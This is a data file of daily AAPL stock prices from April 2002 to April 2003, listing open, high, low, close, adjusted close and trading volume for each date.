-2002-04-18,1.8214285373687744,1.822857141494751,1.777142882347107,1.815000057220459,1.579233169555664,100427600.0,AAPL -2002-04-19,1.8207142353057861,1.8207142353057861,1.7807142734527588,1.7842856645584106,1.5525085926055908,93851800.0,AAPL -2002-04-22,1.7742856740951538,1.7807142734527588,1.7307143211364746,1.7521429061889648,1.5245411396026611,67356800.0,AAPL -2002-04-23,1.7528570890426636,1.7699999809265137,1.7207143306732178,1.7321428060531616,1.5071392059326172,58367400.0,AAPL -2002-04-24,1.735714316368103,1.75,1.691428542137146,1.697857141494751,1.477306842803955,35112000.0,AAPL -2002-04-25,1.6828571557998657,1.7385714054107666,1.6821428537368774,1.722857117652893,1.4990594387054443,48550600.0,AAPL -2002-04-26,1.7342857122421265,1.7407143115997314,1.6428571939468384,1.643571376800537,1.4300731420516968,76245400.0,AAPL -2002-04-29,1.6542856693267822,1.718571424484253,1.6492856740951538,1.7114285230636597,1.4891154766082764,68072200.0,AAPL -2002-04-30,1.7064285278320312,1.7414286136627197,1.6964285373687744,1.7335714101791382,1.5083818435668945,70240800.0,AAPL -2002-05-01,1.7350000143051147,1.7350000143051147,1.6685714721679688,1.7128571271896362,1.4903589487075806,53676000.0,AAPL -2002-05-02,1.7007142305374146,1.7385714054107666,1.6857142448425293,1.6921428442001343,1.4723351001739502,59836000.0,AAPL -2002-05-03,1.683571457862854,1.7157143354415894,1.6735714673995972,1.6792857646942139,1.4611481428146362,57695400.0,AAPL -2002-05-06,1.6678571701049805,1.6785714626312256,1.604285717010498,1.6178570985794067,1.4076988697052002,62416200.0,AAPL -2002-05-07,1.6385713815689087,1.639285683631897,1.5814285278320312,1.6050000190734863,1.3965121507644653,60687200.0,AAPL -2002-05-08,1.6571428775787354,1.7514286041259766,1.645714282989502,1.7407143115997314,1.5145974159240723,109170600.0,AAPL -2002-05-09,1.7321428060531616,1.7392857074737549,1.7000000476837158,1.7278571128845215,1.5034102201461792,56154000.0,AAPL -2002-05-10,1.7350000143051147,1.7350000143051147,1.6414285898208618,1.6657142639160156,1.4493396282196045,58849000.0,AAPL -2002-05-13,1.6799999475479126,1.7207143306732178,1.6385713815689087,1.7100000381469727,1.48787260055542,66402000.0,AAPL -2002-05-14,1.7464286088943481,1.8342857360839844,1.7300000190734863,1.829285740852356,1.5916633605957031,131626600.0,AAPL -2002-05-15,1.8121428489685059,1.8557143211364746,1.7742856740951538,1.8057142496109009,1.5711535215377808,83956600.0,AAPL -2002-05-16,1.7899999618530273,1.8178571462631226,1.7678571939468384,1.8007142543792725,1.5668033361434937,56763000.0,AAPL -2002-05-17,1.8207142353057861,1.841428518295288,1.757857084274292,1.7864285707473755,1.5543729066848755,59123400.0,AAPL -2002-05-20,1.7549999952316284,1.7807142734527588,1.7521429061889648,1.76714289188385,1.5375924110412598,67478600.0,AAPL -2002-05-21,1.7735713720321655,1.7857142686843872,1.6714285612106323,1.6757142543792725,1.4580405950546265,70247800.0,AAPL -2002-05-22,1.6692856550216675,1.7407143115997314,1.6657142639160156,1.73714280128479,1.511489987373352,72718800.0,AAPL -2002-05-23,1.7464286088943481,1.8028571605682373,1.7192857265472412,1.7985714673995972,1.5649387836456299,92349600.0,AAPL -2002-05-24,1.784999966621399,1.784999966621399,1.7114285230636597,1.725000023841858,1.5009243488311768,41543600.0,AAPL -2002-05-28,1.6921428442001343,1.7285714149475098,1.6735714673995972,1.7128571271896362,1.4903589487075806,37429000.0,AAPL -2002-05-29,1.708571434020996,1.7457143068313599,1.6749999523162842,1.7128571271896362,1.4903589487075806,55448400.0,AAPL -2002-05-30,1.697857141494751,1.7414286136627197,1.6792857646942139,1.7285714149475098,1.504031777381897,49093800.0,AAPL -2002-05-31,1.7207143306732178,1.7321428060531616,1.662857174873352,1.664285659790039,1.4480966329574585,91373800.0,AAPL -2002-06-03,1.670714259147644,1.6749999523162842,1.6128571033477783,1.6364285945892334,1.4238580465316772,58777600.0,AAPL -2002-06-04,1.6342856884002686,1.645714282989502,1.5842857360839844,1.6271429061889648,1.415778398513794,86955400.0,AAPL -2002-06-05,1.6307142972946167,1.6307142972946167,1.5964285135269165,1.6228570938110352,1.4120495319366455,69270600.0,AAPL -2002-06-06,1.6399999856948853,1.6592856645584106,1.5742857456207275,1.5828571319580078,1.3772454261779785,64999200.0,AAPL -2002-06-07,1.5542857646942139,1.5671428442001343,1.4950000047683716,1.5285714864730835,1.3300111293792725,153094200.0,AAPL -2002-06-10,1.5342856645584106,1.559999942779541,1.5242856740951538,1.5342856645584106,1.3349833488464355,69393800.0,AAPL -2002-06-11,1.545714259147644,1.5499999523162842,1.4578571319580078,1.4614285230636597,1.2715904712677002,87374000.0,AAPL -2002-06-12,1.4578571319580078,1.4821428060531616,1.4242857694625854,1.434999942779541,1.2485947608947754,132179600.0,AAPL -2002-06-13,1.4299999475479126,1.4321428537368774,1.3842856884002686,1.395714282989502,1.2144123315811157,88020800.0,AAPL -2002-06-14,1.3742856979370117,1.454285740852356,1.2935714721679688,1.4357142448425293,1.2492159605026245,106225000.0,AAPL -2002-06-17,1.4457142353057861,1.4735714197158813,1.4178571701049805,1.4671428203582764,1.2765624523162842,81152400.0,AAPL -2002-06-18,1.458571434020996,1.4707143306732178,1.427142858505249,1.4392857551574707,1.2523239850997925,88340000.0,AAPL -2002-06-19,1.2407143115997314,1.2571429014205933,1.2057143449783325,1.222857117652893,1.0640089511871338,427366800.0,AAPL -2002-06-20,1.2264286279678345,1.2571429014205933,1.2035714387893677,1.2221428155899048,1.0633877515792847,99159200.0,AAPL -2002-06-21,1.212142825126648,1.2492856979370117,1.1992857456207275,1.2035714387893677,1.0472286939620972,111294400.0,AAPL -2002-06-24,1.197857141494751,1.2664285898208618,1.1928571462631226,1.2335714101791382,1.0733317136764526,107983400.0,AAPL -2002-06-25,1.2428570985794067,1.26285719871521,1.204285740852356,1.2242857217788696,1.0652521848678589,75300400.0,AAPL -2002-06-26,1.2000000476837158,1.2350000143051147,1.1414285898208618,1.1821428537368774,1.028583288192749,139738200.0,AAPL -2002-06-27,1.1992857456207275,1.2335714101791382,1.1728571653366089,1.218571424484253,1.060280203819275,62914600.0,AAPL -2002-06-28,1.2214285135269165,1.2728571891784668,1.2142857313156128,1.2657142877578735,1.1012991666793823,67464600.0,AAPL -2002-07-01,1.2649999856948853,1.277142882347107,1.2178571224212646,1.218571424484253,1.060280203819275,55672400.0,AAPL -2002-07-02,1.216428518295288,1.2257143259048462,1.2021428346633911,1.2100000381469727,1.052822232246399,76297200.0,AAPL -2002-07-03,1.2007142305374146,1.26285719871521,1.1964285373687744,1.2535713911056519,1.0907336473464966,49757400.0,AAPL -2002-07-05,1.2649999856948853,1.3392857313156128,1.2649999856948853,1.3385714292526245,1.1646926403045654,40412400.0,AAPL -2002-07-08,1.322857141494751,1.329285740852356,1.26285719871521,1.2864285707473755,1.119322657585144,52801000.0,AAPL -2002-07-09,1.2921428680419922,1.3064285516738892,1.2471429109573364,1.2521429061889648,1.0894907712936401,56687400.0,AAPL -2002-07-10,1.2649999856948853,1.2978571653366089,1.2321428060531616,1.23714280128479,1.0764390230178833,51720200.0,AAPL -2002-07-11,1.23285710811615,1.3107142448425293,1.212142825126648,1.3071428537368774,1.1373462677001953,93419200.0,AAPL -2002-07-12,1.3250000476837158,1.3421428203582764,1.23285710811615,1.2507143020629883,1.088247537612915,110873000.0,AAPL -2002-07-15,1.2450000047683716,1.3285714387893677,1.2007142305374146,1.302142858505249,1.1329954862594604,73998400.0,AAPL -2002-07-16,1.2964285612106323,1.3264285326004028,1.257857084274292,1.2757142782211304,1.1099997758865356,111692000.0,AAPL -2002-07-17,1.152142882347107,1.1571428775787354,1.0850000381469727,1.1164286136627197,0.9714057445526123,303871400.0,AAPL -2002-07-18,1.1071428060531616,1.1114286184310913,1.0535714626312256,1.0707142353057861,0.9316294193267822,139865600.0,AAPL -2002-07-19,1.0499999523162842,1.083571434020996,1.037857174873352,1.0685714483261108,0.9297650456428528,96301800.0,AAPL -2002-07-22,1.0535714626312256,1.0850000381469727,1.0435714721679688,1.0657142400741577,0.9272786378860474,107724400.0,AAPL -2002-07-23,1.0642857551574707,1.0807143449783325,1.031428575515747,1.033571481704712,0.899311363697052,99972600.0,AAPL -2002-07-24,1.0235713720321655,1.087142825126648,1.0178571939468384,1.085714340209961,0.9446809887886047,101648400.0,AAPL -2002-07-25,1.066428542137146,1.0678571462631226,1.0007143020629883,1.0257142782211304,0.8924751281738281,119838600.0,AAPL -2002-07-26,1.0328571796417236,1.037857174873352,0.9857142567634583,1.0242856740951538,0.8912319540977478,51926000.0,AAPL -2002-07-29,1.0342856645584106,1.0785714387893677,1.0264285802841187,1.072857141494751,0.933493971824646,68740000.0,AAPL -2002-07-30,1.0607142448425293,1.10785710811615,1.0399999618530273,1.1021428108215332,0.9589757323265076,88709600.0,AAPL -2002-07-31,1.100000023841858,1.1014286279678345,1.0642857551574707,1.090000033378601,0.948409914970398,77674800.0,AAPL -2002-08-01,1.079285740852356,1.1014286279678345,1.052142858505249,1.0571428537368774,0.9198209643363953,57239000.0,AAPL -2002-08-02,1.0528571605682373,1.0714285373687744,1.0178571939468384,1.0321428775787354,0.8980685472488403,44765000.0,AAPL -2002-08-05,1.0364285707473755,1.0499999523162842,0.9978571534156799,0.9992856979370117,0.8694794178009033,51006200.0,AAPL -2002-08-06,1.0149999856948853,1.0878571271896362,1.0057142972946167,1.0528571605682373,0.9160919785499573,68013400.0,AAPL -2002-08-07,1.0778571367263794,1.0971428155899048,1.024999976158142,1.0735714435577393,0.934115469455719,83368600.0,AAPL -2002-08-08,1.0549999475479126,1.0985714197158813,1.0549999475479126,1.0928571224212646,0.9508957266807556,56837200.0,AAPL -2002-08-09,1.0892857313156128,1.0892857313156128,1.0535714626312256,1.0714285373687744,0.9322507977485657,51429000.0,AAPL -2002-08-12,1.0642857551574707,1.072857141494751,1.0492857694625854,1.0707142353057861,0.9316294193267822,44941400.0,AAPL -2002-08-13,1.0642857551574707,1.0864285230636597,1.039285659790039,1.0421428680419922,0.9067694544792175,67467400.0,AAPL -2002-08-14,1.0478571653366089,1.0964285135269165,1.0385714769363403,1.083571434020996,0.942816436290741,99771000.0,AAPL -2002-08-15,1.0892857313156128,1.125,1.0721428394317627,1.1150000095367432,0.970162570476532,80519600.0,AAPL -2002-08-16,1.1035714149475098,1.149999976158142,1.091428518295288,1.1292856931686401,0.9825926423072815,61306000.0,AAPL -2002-08-19,1.1271429061889648,1.1607142686843872,1.1228570938110352,1.1414285898208618,0.9931580424308777,54139400.0,AAPL -2002-08-20,1.1407142877578735,1.1492856740951538,1.1092857122421265,1.1364285945892334,0.9888075590133667,46656400.0,AAPL -2002-08-21,1.143571376800537,1.159999966621399,1.1035714149475098,1.1514285802841187,1.0018593072891235,50607200.0,AAPL -2002-08-22,1.1571428775787354,1.1607142686843872,1.118571400642395,1.1407142877578735,0.9925366044044495,64577800.0,AAPL -2002-08-23,1.1357142925262451,1.13785719871521,1.1035714149475098,1.1235713958740234,0.9776201844215393,40811400.0,AAPL -2002-08-26,1.139285683631897,1.139285683631897,1.0828571319580078,1.1092857122421265,0.9651906490325928,47492200.0,AAPL -2002-08-27,1.1221429109573364,1.1242856979370117,1.0507142543792725,1.0607142448425293,0.9229283928871155,65557800.0,AAPL -2002-08-28,1.0571428537368774,1.0800000429153442,1.0464285612106323,1.0499999523162842,0.9136058688163757,61993400.0,AAPL -2002-08-29,1.0464285612106323,1.0771428346633911,1.0364285707473755,1.0499999523162842,0.9136058688163757,41042400.0,AAPL -2002-08-30,1.052142858505249,1.0814285278320312,1.041428565979004,1.0535714626312256,0.9167134165763855,48379800.0,AAPL -2002-09-03,1.034999966621399,1.039285659790039,1.0035713911056519,1.0035713911056519,0.8732084035873413,69234200.0,AAPL -2002-09-04,1.014285683631897,1.0557142496109009,1.0121428966522217,1.0342856645584106,0.8999328017234802,105165200.0,AAPL -2002-09-05,1.0157142877578735,1.0257142782211304,1.0035713911056519,1.01285719871521,0.8812879323959351,56544600.0,AAPL -2002-09-06,1.0364285707473755,1.0464285612106323,1.0164285898208618,1.027142882347107,0.8937179446220398,45397800.0,AAPL -2002-09-09,1.0199999809265137,1.037857174873352,1.0107142925262451,1.0264285802841187,0.893096387386322,39561200.0,AAPL -2002-09-10,1.0292856693267822,1.034999966621399,1.0085713863372803,1.0235713720321655,0.8906103372573853,62367200.0,AAPL -2002-09-11,1.0242856740951538,1.0428571701049805,1.0107142925262451,1.020714282989502,0.8881242871284485,50603000.0,AAPL -2002-09-12,1.014285683631897,1.0364285707473755,1.0085713863372803,1.0099999904632568,0.8788020014762878,67457600.0,AAPL -2002-09-13,1.0092856884002686,1.0242856740951538,1.0035713911056519,1.0121428966522217,0.8806665539741516,70737800.0,AAPL -2002-09-16,1.0099999904632568,1.0435714721679688,1.0085713863372803,1.0357142686843872,0.9011759757995605,71660400.0,AAPL -2002-09-17,1.0407142639160156,1.0735714435577393,1.0407142639160156,1.0571428537368774,0.9198209643363953,106999200.0,AAPL -2002-09-18,1.0492857694625854,1.0778571367263794,1.0371428728103638,1.072857141494751,0.933493971824646,82160400.0,AAPL -2002-09-19,1.0535714626312256,1.0571428537368774,1.0342856645584106,1.041428565979004,0.9061480164527893,51486400.0,AAPL -2002-09-20,1.0442856550216675,1.0671428442001343,1.0371428728103638,1.0621428489685059,0.9241712689399719,88197200.0,AAPL -2002-09-23,1.0542857646942139,1.0685714483261108,1.0321428775787354,1.0607142448425293,0.9229283928871155,65927400.0,AAPL -2002-09-24,1.0285714864730835,1.058571457862854,1.0285714864730835,1.045714259147644,0.909876823425293,62665400.0,AAPL -2002-09-25,1.0492857694625854,1.083571434020996,1.0464285612106323,1.066428542137146,0.9279004335403442,63670600.0,AAPL -2002-09-26,1.0785714387893677,1.0850000381469727,1.039285659790039,1.0499999523162842,0.9136058688163757,52161200.0,AAPL -2002-09-27,1.034999966621399,1.0607142448425293,1.0342856645584106,1.0514285564422607,0.9148489832878113,51538200.0,AAPL -2002-09-30,1.0285714864730835,1.0407142639160156,1.0099999904632568,1.0357142686843872,0.9011759757995605,59424400.0,AAPL -2002-10-01,1.0421428680419922,1.0428571701049805,1.0,1.0364285707473755,0.9017975330352783,85605800.0,AAPL -2002-10-02,1.0235713720321655,1.0449999570846558,1.0071429014205933,1.0121428966522217,0.8806665539741516,57337000.0,AAPL -2002-10-03,1.01285719871521,1.0428571701049805,1.0042856931686401,1.0214285850524902,0.888745903968811,54474000.0,AAPL -2002-10-04,1.0257142782211304,1.0285714864730835,0.9992856979370117,1.0021429061889648,0.8719654083251953,47706400.0,AAPL -2002-10-07,0.9978571534156799,1.0149999856948853,0.9828571677207947,0.9835714101791382,0.8558064699172974,61174400.0,AAPL -2002-10-08,0.9928571581840515,0.9971428513526917,0.954285740852356,0.977142870426178,0.8502130508422852,113411200.0,AAPL -2002-10-09,0.9671428799629211,0.9892857074737549,0.9578571319580078,0.970714271068573,0.8446195125579834,89171600.0,AAPL -2002-10-10,0.9735714197158813,1.0157142877578735,0.9700000286102295,1.007857084274292,0.8769372701644897,80393600.0,AAPL -2002-10-11,1.0178571939468384,1.0557142496109009,1.0071429014205933,1.0364285707473755,0.9017975330352783,73669400.0,AAPL -2002-10-14,1.039285659790039,1.0700000524520874,1.031428575515747,1.0549999475479126,0.9179564714431763,48601000.0,AAPL -2002-10-15,1.087142825126648,1.0892857313156128,1.0557142496109009,1.0828571319580078,0.9421949982643127,101379600.0,AAPL -2002-10-16,1.0614285469055176,1.0807143449783325,0.9928571581840515,1.0399999618530273,0.9049049615859985,76906200.0,AAPL -2002-10-17,1.0149999856948853,1.027142882347107,0.9985714554786682,1.007857084274292,0.8769372701644897,117324200.0,AAPL -2002-10-18,1.0,1.024999976158142,0.9950000047683716,1.0242856740951538,0.8912319540977478,72074800.0,AAPL -2002-10-21,1.018571376800537,1.0449999570846558,1.0,1.0399999618530273,0.9049049615859985,59630200.0,AAPL -2002-10-22,1.033571481704712,1.0628571510314941,1.018571376800537,1.0499999523162842,0.9136058688163757,54537000.0,AAPL -2002-10-23,1.0449999570846558,1.0700000524520874,1.0357142686843872,1.0628571510314941,0.9247932434082031,52259200.0,AAPL -2002-10-24,1.072857141494751,1.0864285230636597,1.039285659790039,1.0492857694625854,0.9129844903945923,43687000.0,AAPL -2002-10-25,1.0492857694625854,1.1035714149475098,1.0421428680419922,1.1014286279678345,0.9583540558815002,69767600.0,AAPL -2002-10-28,1.110714316368103,1.139285683631897,1.0892857313156128,1.1150000095367432,0.970162570476532,87325000.0,AAPL -2002-10-29,1.11214280128479,1.1342856884002686,1.0685714483261108,1.1028571128845215,0.9595968127250671,64794800.0,AAPL -2002-10-30,1.106428623199463,1.1692856550216675,1.1057143211364746,1.1414285898208618,0.9931580424308777,67669000.0,AAPL -2002-10-31,1.14214289188385,1.1742857694625854,1.1371428966522217,1.1478571891784668,0.9987518191337585,73959200.0,AAPL -2002-11-01,1.1385713815689087,1.1785714626312256,1.1349999904632568,1.1685714721679688,1.0167750120162964,47457200.0,AAPL -2002-11-04,1.1785714626312256,1.2414286136627197,1.1678571701049805,1.2064285278320312,1.0497145652770996,94204600.0,AAPL -2002-11-05,1.1964285373687744,1.2114285230636597,1.1678571701049805,1.2071428298950195,1.0503358840942383,52673600.0,AAPL -2002-11-06,1.2200000286102295,1.23714280128479,1.1928571462631226,1.2300000190734863,1.0702241659164429,54097400.0,AAPL -2002-11-07,1.2100000381469727,1.2214285135269165,1.1292856931686401,1.1428571939468384,0.9944009780883789,84044800.0,AAPL -2002-11-08,1.143571376800537,1.1571428775787354,1.1085714101791382,1.131428599357605,0.9844570159912109,47516000.0,AAPL -2002-11-11,1.1242856979370117,1.1349999904632568,1.0800000429153442,1.0828571319580078,0.9421949982643127,38243800.0,AAPL -2002-11-12,1.0942857265472412,1.145714282989502,1.091428518295288,1.117142915725708,0.9720271825790405,55948200.0,AAPL -2002-11-13,1.1071428060531616,1.1478571891784668,1.091428518295288,1.1135714054107666,0.9689195156097412,57934800.0,AAPL -2002-11-14,1.1357142925262451,1.1721428632736206,1.1271429061889648,1.164285659790039,1.0130460262298584,35428400.0,AAPL -2002-11-15,1.1592856645584106,1.159999966621399,1.1257143020629883,1.139285683631897,0.9912934899330139,40248600.0,AAPL -2002-11-18,1.156428575515747,1.1571428775787354,1.1085714101791382,1.1178570985794067,0.9726486802101135,41144600.0,AAPL -2002-11-19,1.110714316368103,1.125,1.0721428394317627,1.0907143354415894,0.9490312337875366,52738000.0,AAPL -2002-11-20,1.0928571224212646,1.1214286088943481,1.0892857313156128,1.1092857122421265,0.9651906490325928,52185000.0,AAPL -2002-11-21,1.1357142925262451,1.1742857694625854,1.125,1.1678571701049805,1.0161535739898682,104620600.0,AAPL -2002-11-22,1.1492856740951538,1.164285659790039,1.1357142925262451,1.143571376800537,0.9950224757194519,56964600.0,AAPL -2002-11-25,1.1449999809265137,1.1528571844100952,1.1221429109573364,1.1407142877578735,0.9925366044044495,49856800.0,AAPL -2002-11-26,1.1321429014205933,1.1357142925262451,1.0907143354415894,1.1007143259048462,0.9577323794364929,60065600.0,AAPL -2002-11-27,1.1142857074737549,1.132857084274292,1.1035714149475098,1.1228570938110352,0.976999044418335,71699600.0,AAPL -2002-11-29,1.1278570890426636,1.1342856884002686,1.1007143259048462,1.1071428060531616,0.9633262157440186,35858200.0,AAPL -2002-12-02,1.1357142925262451,1.149999976158142,1.0721428394317627,1.0842857360839844,0.9434381723403931,99685600.0,AAPL -2002-12-03,1.085714340209961,1.0957143306732178,1.0785714387893677,1.0828571319580078,0.9421949982643127,56967400.0,AAPL -2002-12-04,1.0842857360839844,1.0850000381469727,1.0357142686843872,1.0692857503890991,0.9303869009017944,81439400.0,AAPL -2002-12-05,1.0735714435577393,1.0771428346633911,1.037857174873352,1.0449999570846558,0.90925532579422,60849600.0,AAPL -2002-12-06,1.0464285612106323,1.0850000381469727,1.0371428728103638,1.0678571462631226,0.9291434288024902,61339600.0,AAPL -2002-12-09,1.0671428442001343,1.0678571462631226,1.0478571653366089,1.0535714626312256,0.9167134165763855,59021200.0,AAPL -2002-12-10,1.0535714626312256,1.1035714149475098,1.052142858505249,1.091428518295288,0.9496530890464783,77152600.0,AAPL -2002-12-11,1.0928571224212646,1.106428623199463,1.0771428346633911,1.106428623199463,0.9627045392990112,63375200.0,AAPL -2002-12-12,1.10785710811615,1.110714316368103,1.0721428394317627,1.0850000381469727,0.9440593719482422,37335200.0,AAPL -2002-12-13,1.0814285278320312,1.0821428298950195,1.0464285612106323,1.0564285516738892,0.9191994071006775,41195000.0,AAPL -2002-12-16,1.0578571557998657,1.0785714387893677,1.0435714721679688,1.0607142448425293,0.9229283928871155,62906200.0,AAPL -2002-12-17,1.0607142448425293,1.0850000381469727,1.0471428632736206,1.0771428346633911,0.9372230768203735,55665400.0,AAPL -2002-12-18,1.0571428537368774,1.0614285469055176,1.0357142686843872,1.0407142639160156,0.9055265188217163,37675400.0,AAPL -2002-12-19,1.037857174873352,1.0657142400741577,1.0071429014205933,1.014285683631897,0.8825308680534363,86879800.0,AAPL -2002-12-20,1.020714282989502,1.0399999618530273,0.9842857122421265,1.0099999904632568,0.8788020014762878,79524200.0,AAPL -2002-12-23,1.0114285945892334,1.039285659790039,1.0085713863372803,1.034999966621399,0.900554358959198,31456600.0,AAPL -2002-12-24,1.031428575515747,1.033571481704712,1.0214285850524902,1.0257142782211304,0.8924751281738281,9835000.0,AAPL -2002-12-26,1.0299999713897705,1.0578571557998657,1.0199999809265137,1.0285714864730835,0.8949610590934753,21355600.0,AAPL -2002-12-27,1.0221428871154785,1.027142882347107,1.0007143020629883,1.0042856931686401,0.8738297820091248,20008800.0,AAPL -2002-12-30,1.0057142972946167,1.0107142925262451,0.9885714054107666,1.0049999952316284,0.8744513392448425,38760400.0,AAPL -2002-12-31,1.0,1.0257142782211304,0.9964285492897034,1.0235713720321655,0.8906103372573853,50181600.0,AAPL -2003-01-02,1.0257142782211304,1.0657142400741577,1.024999976158142,1.0571428537368774,0.9198209643363953,45357200.0,AAPL -2003-01-03,1.0571428537368774,1.066428542137146,1.0421428680419922,1.0642857551574707,0.9260361194610596,36863400.0,AAPL -2003-01-06,1.0735714435577393,1.0985714197158813,1.0628571510314941,1.0642857551574707,0.9260361194610596,97633200.0,AAPL -2003-01-07,1.0564285516738892,1.0714285373687744,1.033571481704712,1.0607142448425293,0.9229283928871155,85586200.0,AAPL -2003-01-08,1.041428565979004,1.0507142543792725,1.031428575515747,1.039285659790039,0.9042837023735046,57411200.0,AAPL -2003-01-09,1.0442856550216675,1.0657142400741577,1.0357142686843872,1.0485714673995972,0.912362813949585,53813200.0,AAPL -2003-01-10,1.041428565979004,1.058571457862854,1.034999966621399,1.0514285564422607,0.9148489832878113,43775200.0,AAPL -2003-01-13,1.0642857551574707,1.0642857551574707,1.0257142782211304,1.0449999570846558,0.90925532579422,44735600.0,AAPL -2003-01-14,1.0492857694625854,1.058571457862854,1.034999966621399,1.0435714721679688,0.9080124497413635,46715200.0,AAPL -2003-01-15,1.0421428680419922,1.0499999523162842,1.018571376800537,1.0307142734527588,0.8968256115913391,92782200.0,AAPL -2003-01-16,1.0149999856948853,1.0542857646942139,1.0149999856948853,1.0442856550216675,0.9086340069770813,139767600.0,AAPL -2003-01-17,1.0399999618530273,1.0399999618530273,1.0057142972946167,1.0071429014205933,0.8763160705566406,66690400.0,AAPL -2003-01-21,1.0149999856948853,1.0292856693267822,1.0,1.0014286041259766,0.8713441491127014,63364000.0,AAPL -2003-01-22,0.9985714554786682,1.0107142925262451,0.9857142567634583,0.991428554058075,0.8626429438591003,53785200.0,AAPL -2003-01-23,1.0035713911056519,1.0257142782211304,0.9964285492897034,1.0121428966522217,0.8806665539741516,57064000.0,AAPL -2003-01-24,1.01714289188385,1.01714289188385,0.9685714244842529,0.9857142567634583,0.857670783996582,76367200.0,AAPL -2003-01-27,0.977142870426178,1.0357142686843872,0.9750000238418579,1.0092856884002686,0.8781803846359253,97851600.0,AAPL -2003-01-28,1.01714289188385,1.0492857694625854,1.0114285945892334,1.041428565979004,0.9061480164527893,71563800.0,AAPL -2003-01-29,1.039285659790039,1.0785714387893677,1.0214285850524902,1.066428542137146,0.9279004335403442,93261000.0,AAPL -2003-01-30,1.0700000524520874,1.0764285326004028,1.020714282989502,1.0228571891784668,0.8899889588356018,101764600.0,AAPL -2003-01-31,1.0135713815689087,1.039285659790039,1.0035713911056519,1.0257142782211304,0.8924751281738281,85306200.0,AAPL -2003-02-03,1.0292856693267822,1.065000057220459,1.024999976158142,1.0471428632736206,0.9111200571060181,66196200.0,AAPL -2003-02-04,1.0321428775787354,1.0464285612106323,1.0221428871154785,1.0428571701049805,0.9073910117149353,79353400.0,AAPL -2003-02-05,1.0507142543792725,1.066428542137146,1.031428575515747,1.0321428775787354,0.8980685472488403,55403600.0,AAPL -2003-02-06,1.0257142782211304,1.0421428680419922,1.0157142877578735,1.0307142734527588,0.8968256115913391,44787400.0,AAPL -2003-02-07,1.039285659790039,1.0428571701049805,1.0049999952316284,1.0107142925262451,0.8794235587120056,67425400.0,AAPL -2003-02-10,1.018571376800537,1.0407142639160156,1.0042856931686401,1.024999976158142,0.8918532729148865,41972000.0,AAPL -2003-02-11,1.0357142686843872,1.0449999570846558,1.014285683631897,1.024999976158142,0.8918532729148865,41195000.0,AAPL -2003-02-12,1.0192856788635254,1.0428571701049805,1.0192856788635254,1.0278571844100952,0.8943394422531128,57171800.0,AAPL -2003-02-13,1.0292856693267822,1.045714259147644,1.01714289188385,1.0385714769363403,0.9036619663238525,52123400.0,AAPL -2003-02-14,1.0435714721679688,1.0514285564422607,1.024999976158142,1.0478571653366089,0.9117413759231567,60824400.0,AAPL -2003-02-18,1.0535714626312256,1.0928571224212646,1.0514285564422607,1.0907143354415894,0.9490312337875366,72724400.0,AAPL -2003-02-19,1.0764285326004028,1.0821428298950195,1.0485714673995972,1.0607142448425293,0.9229283928871155,60092200.0,AAPL -2003-02-20,1.0607142448425293,1.0685714483261108,1.0507142543792725,1.0549999475479126,0.9179564714431763,56088200.0,AAPL -2003-02-21,1.058571457862854,1.0757142305374146,1.0464285612106323,1.0714285373687744,0.9322507977485657,39361000.0,AAPL -2003-02-24,1.0614285469055176,1.0735714435577393,0.9857142567634583,1.0528571605682373,0.9160919785499573,45063200.0,AAPL -2003-02-25,1.0485714673995972,1.0771428346633911,1.041428565979004,1.072857141494751,0.933493971824646,47160400.0,AAPL -2003-02-26,1.0707142353057861,1.072857141494751,1.0342856645584106,1.0357142686843872,0.9011759757995605,54273800.0,AAPL -2003-02-27,1.0407142639160156,1.0714285373687744,1.0364285707473755,1.0614285469055176,0.9235502481460571,38585400.0,AAPL -2003-02-28,1.0614285469055176,1.0778571367263794,1.0549999475479126,1.0721428394317627,0.9328724145889282,48774600.0,AAPL -2003-03-03,1.0721428394317627,1.0828571319580078,1.039285659790039,1.0464285612106323,0.9104982614517212,50940400.0,AAPL -2003-03-04,1.0528571605682373,1.0578571557998657,1.031428575515747,1.0399999618530273,0.9049049615859985,31603600.0,AAPL -2003-03-05,1.0435714721679688,1.0571428537368774,1.0371428728103638,1.0442856550216675,0.9086340069770813,31670800.0,AAPL -2003-03-06,1.041428565979004,1.0428571701049805,1.0285714864730835,1.0399999618530273,0.9049049615859985,24964800.0,AAPL -2003-03-07,1.033571481704712,1.0507142543792725,1.0221428871154785,1.037857174873352,0.9030407667160034,50246000.0,AAPL -2003-03-10,1.0364285707473755,1.0478571653366089,1.0214285850524902,1.0264285802841187,0.893096387386322,33643400.0,AAPL -2003-03-11,1.0257142782211304,1.034999966621399,1.0085713863372803,1.0164285898208618,0.8843955993652344,40297600.0,AAPL -2003-03-12,1.0121428966522217,1.0278571844100952,1.0042856931686401,1.0157142877578735,0.8837738633155823,55640200.0,AAPL -2003-03-13,1.033571481704712,1.0571428537368774,1.0121428966522217,1.0514285564422607,0.9148489832878113,83861400.0,AAPL -2003-03-14,1.0485714673995972,1.0721428394317627,1.045714259147644,1.0557142496109009,0.9185778498649597,38274600.0,AAPL -2003-03-17,1.0635714530944824,1.0764285326004028,1.0507142543792725,1.0721428394317627,0.9328724145889282,99978200.0,AAPL -2003-03-18,1.0714285373687744,1.0778571367263794,1.058571457862854,1.0714285373687744,0.9322507977485657,57495200.0,AAPL -2003-03-19,1.0764285326004028,1.0821428298950195,1.0564285516738892,1.0678571462631226,0.9291434288024902,35329000.0,AAPL -2003-03-20,1.066428542137146,1.0707142353057861,1.0428571701049805,1.065000057220459,0.9266575574874878,40794600.0,AAPL -2003-03-21,1.0778571367263794,1.0821428298950195,1.058571457862854,1.0714285373687744,0.9322507977485657,74487000.0,AAPL -2003-03-24,1.0478571653366089,1.0571428537368774,1.024999976158142,1.0264285802841187,0.893096387386322,40275200.0,AAPL -2003-03-25,1.0292856693267822,1.0592857599258423,1.0264285802841187,1.039285659790039,0.9042837023735046,41924400.0,AAPL -2003-03-26,1.039285659790039,1.0399999618530273,1.0214285850524902,1.0292856693267822,0.8955826163291931,44585800.0,AAPL -2003-03-27,1.0228571891784668,1.0499999523162842,1.0228571891784668,1.034999966621399,0.900554358959198,30598400.0,AAPL -2003-03-28,1.0285714864730835,1.0442856550216675,1.0264285802841187,1.0407142639160156,0.9055265188217163,36325800.0,AAPL -2003-03-31,1.0235713720321655,1.037857174873352,1.0028570890426636,1.0099999904632568,0.8788020014762878,64164800.0,AAPL -2003-04-01,1.014285683631897,1.0221428871154785,1.0049999952316284,1.0114285945892334,0.8800450563430786,38585400.0,AAPL -2003-04-02,1.0257142782211304,1.0492857694625854,1.0192856788635254,1.0428571701049805,0.9073910117149353,42842800.0,AAPL 